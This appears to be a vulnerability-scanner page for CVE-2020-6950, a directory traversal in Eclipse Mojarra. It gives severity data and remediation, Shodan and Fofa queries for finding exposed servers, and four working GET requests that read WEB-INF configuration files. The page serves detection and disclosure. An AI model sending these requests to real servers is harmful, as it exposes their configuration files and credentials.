| Title | Eclipse Mojarra - Local File Read |
|---|---|
| Author | iamnoooob,pdresearch |
| Severity | Medium |
| Impact | Attackers can read arbitrary files from the server including configuration files and credentials, potentially leading to further exploitation and data exposure. |
| Remediation | Upgrade to Eclipse Mojarra version 2.3.14 or later. |
| CVSS Score | 6.5 |
| EPSS Score | 0.57917 |
| CVE ID | CVE-2020-6950 |
| CWE ID | CWE-22 |
| Shodan Query | html:"javax.faces.resource"http.html:"javax.faces.viewstate"http.html:"javax.faces.resource" |
| Fofa Query | body="javax.faces.ViewState"body="javax.faces.viewstate"body="javax.faces.resource" |
| Tags | cve cve2020 mojarra lfi eclipse vuln |
Directory traversal in Eclipse Mojarra before 2.3.14 allows attackers to read arbitrary files via the loc parameter or con parameter.
GET /javax.faces.resources/web.xml.jsf?loc=/../../WEB-INF HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /javax.faces.resources/web.xml.jsf?con=/../../WEB-INF HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /javax.faces.resources/faces-config.xml.jsf?loc=/../../WEB-INF HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /javax.faces.resources/faces-config.xml.jsf?con=/../../WEB-INF HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-6950.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-6950.pcap
N/AN/A